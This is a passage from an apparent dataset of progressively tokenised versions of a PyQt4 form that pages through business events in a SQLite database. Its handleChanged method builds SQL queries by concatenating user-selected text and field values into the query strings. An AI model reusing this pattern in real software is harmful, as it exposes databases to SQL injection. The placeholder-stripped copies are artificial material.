clicked_bt_Earlier(self):\n self.eventSkip = self.eventSkip + 1\n self.handleChanged(self.cb_EventType.currentText())\n\n def clicked_bt_Later(self):\n if self.eventSkip > 0:\n self.eventSkip = self.eventSkip - 1\n self.handleChanged(self.cb_EventType.currentText())\n\n\nclass Database:\n\n def __init__(self, parent=None):\n self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE')\n self.data.setDatabaseName('../Database/Business.db')\n self.data.open()\n",
"<import token>\n<code token>\n\n\nclass Ui_Form(object):\n\n def setupUi(self, Form):\n Form.setObjectName(_fromUtf8('Form'))\n Form.resize(666, 538)\n palette = QtGui.QPalette()\n self.eventSkip = 0\n self.db = Database()\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush)\n self.inWork = True\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush)\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush)\n Form.setPalette(palette)\n self.tb_EventViewer = QtGui.QTableView(Form)\n self.tb_EventViewer.setGeometry(QtCore.QRect(60, 120, 531, 351))\n self.tb_EventViewer.setObjectName(_fromUtf8('tb_EventViewer'))\n self.tb_EventViewer.horizontalHeader().setVisible(False)\n self.tb_EventViewer.verticalHeader().setVisible(False)\n self.bt_Earlier = QtGui.QPushButton(Form)\n self.bt_Earlier.setGeometry(QtCore.QRect(60, 90, 75, 23))\n self.bt_Earlier.setObjectName(_fromUtf8('bt_Earlier'))\n self.bt_Earlier.clicked.connect(self.clicked_bt_Earlier)\n self.bt_Later = QtGui.QPushButton(Form)\n self.bt_Later.setGeometry(QtCore.QRect(510, 90, 75, 23))\n self.bt_Later.setObjectName(_fromUtf8('bt_Later'))\n self.bt_Later.clicked.connect(self.clicked_bt_Later)\n self.label = QtGui.QLabel(Form)\n self.label.setGeometry(QtCore.QRect(70, 0, 511, 41))\n palette = QtGui.QPalette()\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText,\n brush)\n self.label.setPalette(palette)\n font = QtGui.QFont()\n font.setFamily(_fromUtf8('Segoe UI Light'))\n font.setPointSize(18)\n font.setBold(True)\n font.setWeight(75)\n self.label.setFont(font)\n self.label.setObjectName(_fromUtf8('label'))\n self.cb_EventType = QtGui.QComboBox(Form)\n self.cb_EventType.setGeometry(QtCore.QRect(230, 50, 221, 22))\n self.cb_EventType.setObjectName(_fromUtf8('cb_EventType'))\n self.cb_EventType.currentIndexChanged['QString'].connect(self.\n handleChanged)\n self.label_2 = QtGui.QLabel(Form)\n self.label_2.setGeometry(QtCore.QRect(70, 50, 121, 21))\n self.label_3 = QtGui.QLabel(Form)\n self.label_3.setGeometry(QtCore.QRect(190, 90, 221, 21))\n palette = QtGui.QPalette()\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,\n brush)\n self.label_2.setPalette(palette)\n self.label_3.setPalette(palette)\n font = QtGui.QFont()\n font.setFamily(_fromUtf8('Segoe UI'))\n font.setPointSize(12)\n self.label_2.setFont(font)\n self.label_2.setObjectName(_fromUtf8('label_2'))\n self.label_3.setFont(font)\n self.label_3.setObjectName(_fromUtf8('label_3'))\n self.retranslateUi(Form)\n QtCore.QMetaObject.connectSlotsByName(Form)\n self.initialize()\n\n def retranslateUi(self, Form):\n Form.setWindowTitle(_translate('Form', 'Revisit business events', None)\n )\n self.bt_Earlier.setText(_translate('Form', '<<', None))\n self.bt_Later.setText(_translate('Form', '>>', None))\n self.label.setText(_translate('Form', 'Revisit business events', None))\n self.label_2.setText(_translate('Form', 'Select Event Type', None))\n\n def initialize(self):\n self.cb_EventType.addItems(self.getBusinessEventsType())\n\n def getBusinessEventsType(self):\n conn = sqlite3.connect('../Database/Business.db')\n conn.text_factory = str\n c = conn.cursor()\n c.execute('SELECT Event FROM EventTypes')\n locs = [r[0] for r in c.fetchall()]\n conn.close()\n return locs\n\n def handleChanged(self, text):\n modelView = QtGui.QStandardItemModel()\n query = QtSql.QSqlQuery()\n query.exec_(\n \"Select * from BusinessEvents a, EventTypes b where b.Event = '\" +\n text +\n \"' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT \" +\n str(self.eventSkip) + ',1')\n recCount = 0\n while query.next():\n recCount = recCount + 1\n if query.value(2).toString() != '':\n query_Origin = QtSql.QSqlQuery()\n query_Origin.exec_(\"Select Name from Cities where ID = '\" +\n query.value(2).toString() + \"' LIMIT 1\")\n query_Origin.next()\n modelInputItem = QtGui.QStandardItem('Origin')\n modelInputValue = QtGui.QStandardItem(query_Origin.value(0)\n .toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(3).toString() != '':\n query_Destination = QtSql.QSqlQuery()\n query_Destination.exec_(\n \"Select Name from Cities where ID = '\" + query.value(3)\n .toString() + \"' LIMIT 1\")\n query_Destination.next()\n modelInputItem = QtGui.QStandardItem('Destination')\n modelInputValue = QtGui.QStandardItem(query_Destination.\n value(0).toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(4).toString() != '':\n modelInputItem = QtGui.QStandardItem('Weight')\n modelInputValue = QtGui.QStandardItem(query.value(4).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(5).toString() != '':\n modelInputItem = QtGui.QStandardItem('Volume')\n modelInputValue = QtGui.QStandardItem(query.value(5).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(6).toString() != '':\n modelInputItem = QtGui.QStandardItem('Time of Entry')\n modelInputValue = QtGui.QStandardItem(query.value(6).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(7).toString() != '':\n modelInputItem = QtGui.QStandardItem('Priority')\n modelInputValue = QtGui.QStandardItem(query.value(7).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(8).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per Gram')\n modelInputValue = QtGui.QStandardItem(query.value(8).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(9).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per CC')\n modelInputValue = QtGui.QStandardItem(query.value(9).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(10).toString() != '':\n modelInputItem = QtGui.QStandardItem('Company')\n modelInputValue = QtGui.QStandardItem(query.value(10).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(11).toString() != '':\n modelInputItem = QtGui.QStandardItem('Transport Type')\n modelInputValue = QtGui.QStandardItem(query.value(11).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(12).toString() != '':\n modelInputItem = QtGui.QStandardItem('Day of the Week')\n modelInputValue = QtGui.QStandardItem(query.value(12).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(13).toString() != '':\n modelInputItem = QtGui.QStandardItem('Frequency')\n modelInputValue = QtGui.QStandardItem(query.value(13).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(14).toString() != '':\n modelInputItem = QtGui.QStandardItem('Duration')\n modelInputValue = QtGui.QStandardItem(query.value(14).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if recCount == 0:\n self.label_3.setText(_translate('Form', 'No Records found', None))\n self.inWork = False\n else:\n self.label_3.setText(_translate('Form', '', None))\n self.inWork = True\n self.tb_EventViewer.setModel(modelView)\n\n def clicked_bt_Earlier(self):\n self.eventSkip = self.eventSkip + 1\n self.handleChanged(self.cb_EventType.currentText())\n <function token>\n\n\nclass Database:\n\n def __init__(self, parent=None):\n self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE')\n self.data.setDatabaseName('../Database/Business.db')\n self.data.open()\n",
"<import token>\n<code token>\n\n\nclass Ui_Form(object):\n\n def setupUi(self, Form):\n Form.setObjectName(_fromUtf8('Form'))\n Form.resize(666, 538)\n palette = QtGui.QPalette()\n self.eventSkip = 0\n self.db = Database()\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush)\n self.inWork = True\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush)\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush)\n Form.setPalette(palette)\n self.tb_EventViewer = QtGui.QTableView(Form)\n self.tb_EventViewer.setGeometry(QtCore.QRect(60, 120, 531, 351))\n self.tb_EventViewer.setObjectName(_fromUtf8('tb_EventViewer'))\n self.tb_EventViewer.horizontalHeader().setVisible(False)\n self.tb_EventViewer.verticalHeader().setVisible(False)\n self.bt_Earlier = QtGui.QPushButton(Form)\n self.bt_Earlier.setGeometry(QtCore.QRect(60, 90, 75, 23))\n self.bt_Earlier.setObjectName(_fromUtf8('bt_Earlier'))\n self.bt_Earlier.clicked.connect(self.clicked_bt_Earlier)\n self.bt_Later = QtGui.QPushButton(Form)\n self.bt_Later.setGeometry(QtCore.QRect(510, 90, 75, 23))\n self.bt_Later.setObjectName(_fromUtf8('bt_Later'))\n self.bt_Later.clicked.connect(self.clicked_bt_Later)\n self.label = QtGui.QLabel(Form)\n self.label.setGeometry(QtCore.QRect(70, 0, 511, 41))\n palette = QtGui.QPalette()\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText,\n brush)\n self.label.setPalette(palette)\n font = QtGui.QFont()\n font.setFamily(_fromUtf8('Segoe UI Light'))\n font.setPointSize(18)\n font.setBold(True)\n font.setWeight(75)\n self.label.setFont(font)\n self.label.setObjectName(_fromUtf8('label'))\n self.cb_EventType = QtGui.QComboBox(Form)\n self.cb_EventType.setGeometry(QtCore.QRect(230, 50, 221, 22))\n self.cb_EventType.setObjectName(_fromUtf8('cb_EventType'))\n self.cb_EventType.currentIndexChanged['QString'].connect(self.\n handleChanged)\n self.label_2 = QtGui.QLabel(Form)\n self.label_2.setGeometry(QtCore.QRect(70, 50, 121, 21))\n self.label_3 = QtGui.QLabel(Form)\n self.label_3.setGeometry(QtCore.QRect(190, 90, 221, 21))\n palette = QtGui.QPalette()\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,\n brush)\n self.label_2.setPalette(palette)\n self.label_3.setPalette(palette)\n font = QtGui.QFont()\n font.setFamily(_fromUtf8('Segoe UI'))\n font.setPointSize(12)\n self.label_2.setFont(font)\n self.label_2.setObjectName(_fromUtf8('label_2'))\n self.label_3.setFont(font)\n self.label_3.setObjectName(_fromUtf8('label_3'))\n self.retranslateUi(Form)\n QtCore.QMetaObject.connectSlotsByName(Form)\n self.initialize()\n\n def retranslateUi(self, Form):\n Form.setWindowTitle(_translate('Form', 'Revisit business events', None)\n )\n self.bt_Earlier.setText(_translate('Form', '<<', None))\n self.bt_Later.setText(_translate('Form', '>>', None))\n self.label.setText(_translate('Form', 'Revisit business events', None))\n self.label_2.setText(_translate('Form', 'Select Event Type', None))\n <function token>\n\n def getBusinessEventsType(self):\n conn = sqlite3.connect('../Database/Business.db')\n conn.text_factory = str\n c = conn.cursor()\n c.execute('SELECT Event FROM EventTypes')\n locs = [r[0] for r in c.fetchall()]\n conn.close()\n return locs\n\n def handleChanged(self, text):\n modelView = QtGui.QStandardItemModel()\n query = QtSql.QSqlQuery()\n query.exec_(\n \"Select * from BusinessEvents a, EventTypes b where b.Event = '\" +\n text +\n \"' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT \" +\n str(self.eventSkip) + ',1')\n recCount = 0\n while query.next():\n recCount = recCount + 1\n if query.value(2).toString() != '':\n query_Origin = QtSql.QSqlQuery()\n query_Origin.exec_(\"Select Name from Cities where ID = '\" +\n query.value(2).toString() + \"' LIMIT 1\")\n query_Origin.next()\n modelInputItem = QtGui.QStandardItem('Origin')\n modelInputValue = QtGui.QStandardItem(query_Origin.value(0)\n .toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(3).toString() != '':\n query_Destination = QtSql.QSqlQuery()\n query_Destination.exec_(\n \"Select Name from Cities where ID = '\" + query.value(3)\n .toString() + \"' LIMIT 1\")\n query_Destination.next()\n modelInputItem = QtGui.QStandardItem('Destination')\n modelInputValue = QtGui.QStandardItem(query_Destination.\n value(0).toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(4).toString() != '':\n modelInputItem = QtGui.QStandardItem('Weight')\n modelInputValue = QtGui.QStandardItem(query.value(4).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(5).toString() != '':\n modelInputItem = QtGui.QStandardItem('Volume')\n modelInputValue = QtGui.QStandardItem(query.value(5).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(6).toString() != '':\n modelInputItem = QtGui.QStandardItem('Time of Entry')\n modelInputValue = QtGui.QStandardItem(query.value(6).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(7).toString() != '':\n modelInputItem = QtGui.QStandardItem('Priority')\n modelInputValue = QtGui.QStandardItem(query.value(7).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(8).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per Gram')\n modelInputValue = QtGui.QStandardItem(query.value(8).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(9).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per CC')\n modelInputValue = QtGui.QStandardItem(query.value(9).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(10).toString() != '':\n modelInputItem = QtGui.QStandardItem('Company')\n modelInputValue = QtGui.QStandardItem(query.value(10).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(11).toString() != '':\n modelInputItem = QtGui.QStandardItem('Transport Type')\n modelInputValue = QtGui.QStandardItem(query.value(11).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(12).toString() != '':\n modelInputItem = QtGui.QStandardItem('Day of the Week')\n modelInputValue = QtGui.QStandardItem(query.value(12).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(13).toString() != '':\n modelInputItem = QtGui.QStandardItem('Frequency')\n modelInputValue = QtGui.QStandardItem(query.value(13).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(14).toString() != '':\n modelInputItem = QtGui.QStandardItem('Duration')\n modelInputValue = QtGui.QStandardItem(query.value(14).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if recCount == 0:\n self.label_3.setText(_translate('Form', 'No Records found', None))\n self.inWork = False\n else:\n self.label_3.setText(_translate('Form', '', None))\n self.inWork = True\n self.tb_EventViewer.setModel(modelView)\n\n def clicked_bt_Earlier(self):\n self.eventSkip = self.eventSkip + 1\n self.handleChanged(self.cb_EventType.currentText())\n <function token>\n\n\nclass Database:\n\n def __init__(self, parent=None):\n self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE')\n self.data.setDatabaseName('../Database/Business.db')\n self.data.open()\n",
"<import token>\n<code token>\n\n\nclass Ui_Form(object):\n <function token>\n\n def retranslateUi(self, Form):\n Form.setWindowTitle(_translate('Form', 'Revisit business events', None)\n )\n self.bt_Earlier.setText(_translate('Form', '<<', None))\n self.bt_Later.setText(_translate('Form', '>>', None))\n self.label.setText(_translate('Form', 'Revisit business events', None))\n self.label_2.setText(_translate('Form', 'Select Event Type', None))\n <function token>\n\n def getBusinessEventsType(self):\n conn = sqlite3.connect('../Database/Business.db')\n conn.text_factory = str\n c = conn.cursor()\n c.execute('SELECT Event FROM EventTypes')\n locs = [r[0] for r in c.fetchall()]\n conn.close()\n return locs\n\n def handleChanged(self, text):\n modelView = QtGui.QStandardItemModel()\n query = QtSql.QSqlQuery()\n query.exec_(\n \"Select * from BusinessEvents a, EventTypes b where b.Event = '\" +\n text +\n \"' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT \" +\n str(self.eventSkip) + ',1')\n recCount = 0\n while query.next():\n recCount = recCount + 1\n if query.value(2).toString() != '':\n query_Origin = QtSql.QSqlQuery()\n query_Origin.exec_(\"Select Name from Cities where ID = '\" +\n query.value(2).toString() + \"' LIMIT 1\")\n query_Origin.next()\n modelInputItem = QtGui.QStandardItem('Origin')\n modelInputValue = QtGui.QStandardItem(query_Origin.value(0)\n .toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(3).toString() != '':\n query_Destination = QtSql.QSqlQuery()\n query_Destination.exec_(\n \"Select Name from Cities where ID = '\" + query.value(3)\n .toString() + \"' LIMIT 1\")\n query_Destination.next()\n modelInputItem = QtGui.QStandardItem('Destination')\n modelInputValue = QtGui.QStandardItem(query_Destination.\n value(0).toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(4).toString() != '':\n modelInputItem = QtGui.QStandardItem('Weight')\n modelInputValue = QtGui.QStandardItem(query.value(4).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(5).toString() != '':\n modelInputItem = QtGui.QStandardItem('Volume')\n modelInputValue = QtGui.QStandardItem(query.value(5).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(6).toString() != '':\n modelInputItem = QtGui.QStandardItem('Time of Entry')\n modelInputValue = QtGui.QStandardItem(query.value(6).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(7).toString() != '':\n modelInputItem = QtGui.QStandardItem('Priority')\n modelInputValue = QtGui.QStandardItem(query.value(7).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(8).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per Gram')\n modelInputValue = QtGui.QStandardItem(query.value(8).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(9).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per CC')\n modelInputValue = QtGui.QStandardItem(query.value(9).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(10).toString() != '':\n modelInputItem = QtGui.QStandardItem('Company')\n modelInputValue = QtGui.QStandardItem(query.value(10).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(11).toString() != '':\n modelInputItem = QtGui.QStandardItem('Transport Type')\n modelInputValue = QtGui.QStandardItem(query.value(11).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(12).toString() != '':\n modelInputItem = QtGui.QStandardItem('Day of the Week')\n modelInputValue = QtGui.QStandardItem(query.value(12).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(13).toString() != '':\n modelInputItem = QtGui.QStandardItem('Frequency')\n modelInputValue = QtGui.QStandardItem(query.value(13).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(14).toString() != '':\n modelInputItem = QtGui.QStandardItem('Duration')\n modelInputValue = QtGui.QStandardItem(query.value(14).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if recCount == 0:\n self.label_3.setText(_translate('Form', 'No Records found', None))\n self.inWork = False\n else:\n self.label_3.setText(_translate('Form', '', None))\n self.inWork = True\n self.tb_EventViewer.setModel(modelView)\n\n def clicked_bt_Earlier(self):\n self.eventSkip = self.eventSkip + 1\n self.handleChanged(self.cb_EventType.currentText())\n <function token>\n\n\nclass Database:\n\n def __init__(self, parent=None):\n self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE')\n self.data.setDatabaseName('../Database/Business.db')\n self.data.open()\n",
"<import token>\n<code token>\n\n\nclass Ui_Form(object):\n <function token>\n\n def retranslateUi(self, Form):\n Form.setWindowTitle(_translate('Form', 'Revisit business events', None)\n )\n self.bt_Earlier.setText(_translate('Form', '<<', None))\n self.bt_Later.setText(_translate('Form', '>>', None))\n self.label.setText(_translate('Form', 'Revisit business events', None))\n self.label_2.setText(_translate('Form', 'Select Event Type', None))\n <function token>\n\n def getBusinessEventsType(self):\n conn = sqlite3.connect('../Database/Business.db')\n conn.text_factory = str\n c = conn.cursor()\n c.execute('SELECT Event FROM EventTypes')\n locs = [r[0] for r in c.fetchall()]\n conn.close()\n return locs\n\n def handleChanged(self, text):\n modelView = QtGui.QStandardItemModel()\n query = QtSql.QSqlQuery()\n query.exec_(\n \"Select * from BusinessEvents a, EventTypes b where b.Event = '\" +\n text +\n \"' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT \" +\n str(self.eventSkip) + ',1')\n recCount = 0\n while query.next():\n recCount = recCount + 1\n if query.value(2).toString() != '':\n query_Origin = QtSql.QSqlQuery()\n query_Origin.exec_(\"Select Name from Cities where ID = '\" +\n query.value(2).toString() + \"' LIMIT 1\")\n query_Origin.next()\n modelInputItem = QtGui.QStandardItem('Origin')\n modelInputValue = QtGui.QStandardItem(query_Origin.value(0)\n .toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(3).toString() != '':\n query_Destination = QtSql.QSqlQuery()\n query_Destination.exec_(\n \"Select Name from Cities where ID = '\" + query.value(3)\n .toString() + \"' LIMIT 1\")\n query_Destination.next()\n modelInputItem = QtGui.QStandardItem('Destination')\n modelInputValue = QtGui.QStandardItem(query_Destination.\n value(0).toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(4).toString() != '':\n modelInputItem = QtGui.QStandardItem('Weight')\n modelInputValue = QtGui.QStandardItem(query.value(4).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(5).toString() != '':\n modelInputItem = QtGui.QStandardItem('Volume')\n modelInputValue = QtGui.QStandardItem(query.value(5).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(6).toString() != '':\n modelInputItem = QtGui.QStandardItem('Time of Entry')\n modelInputValue = QtGui.QStandardItem(query.value(6).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(7).toString() != '':\n modelInputItem = QtGui.QStandardItem('Priority')\n modelInputValue = QtGui.QStandardItem(query.value(7).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(8).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per Gram')\n modelInputValue = QtGui.QStandardItem(query.value(8).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(9).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per CC')\n modelInputValue = QtGui.QStandardItem(query.value(9).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(10).toString() != '':\n modelInputItem = QtGui.QStandardItem('Company')\n modelInputValue = QtGui.QStandardItem(query.value(10).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(11).toString() != '':\n modelInputItem = QtGui.QStandardItem('Transport Type')\n modelInputValue = QtGui.QStandardItem(query.value(11).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(12).toString() != '':\n modelInputItem = QtGui.QStandardItem('Day of the Week')\n modelInputValue = QtGui.QStandardItem(query.value(12).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(13).toString() != '':\n modelInputItem = QtGui.QStandardItem('Frequency')\n modelInputValue = QtGui.QStandardItem(query.value(13).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(14).toString() != '':\n modelInputItem = QtGui.QStandardItem('Duration')\n modelInputValue = QtGui.QStandardItem(query.value(14).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if recCount == 0:\n self.label_3.setText(_translate('Form', 'No Records found', None))\n self.inWork = False\n else:\n self.label_3.setText(_translate('Form', '', None))\n self.inWork = True\n self.tb_EventViewer.setModel(modelView)\n <function token>\n <function token>\n\n\nclass Database:\n\n def __init__(self, parent=None):\n self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE')\n self.data.setDatabaseName('../Database/Business.db')\n self.data.open()\n",
"<import token>\n<code token>\n\n\nclass Ui_Form(object):\n <function token>\n <function token>\n <function token>\n\n def getBusinessEventsType(self):\n conn = sqlite3.connect('../Database/Business.db')\n conn.text_factory = str\n c = conn.cursor()\n c.execute('SELECT Event FROM EventTypes')\n locs = [r[0] for r in c.fetchall()]\n conn.close()\n return locs\n\n def handleChanged(self, text):\n modelView = QtGui.QStandardItemModel()\n query = QtSql.QSqlQuery()\n query.exec_(\n \"Select * from BusinessEvents a, EventTypes b where b.Event = '\" +\n text +\n \"' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT \" +\n str(self.eventSkip) + ',1')\n recCount = 0\n while query.next():\n recCount = recCount + 1\n if query.value(2).toString() != '':\n query_Origin = QtSql.QSqlQuery()\n query_Origin.exec_(\"Select Name from Cities where ID = '\" +\n query.value(2).toString() + \"' LIMIT 1\")\n query_Origin.next()\n modelInputItem = QtGui.QStandardItem('Origin')\n modelInputValue = QtGui.QStandardItem(query_Origin.value(0)\n .toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(3).toString() != '':\n query_Destination = QtSql.QSqlQuery()\n query_Destination.exec_(\n \"Select Name from Cities where ID = '\" + query.value(3)\n .toString() + \"' LIMIT 1\")\n query_Destination.next()\n modelInputItem = QtGui.QStandardItem('Destination')\n modelInputValue = QtGui.QStandardItem(query_Destination.\n value(0).toString())\n modelView.appendRow([modelInputItem, 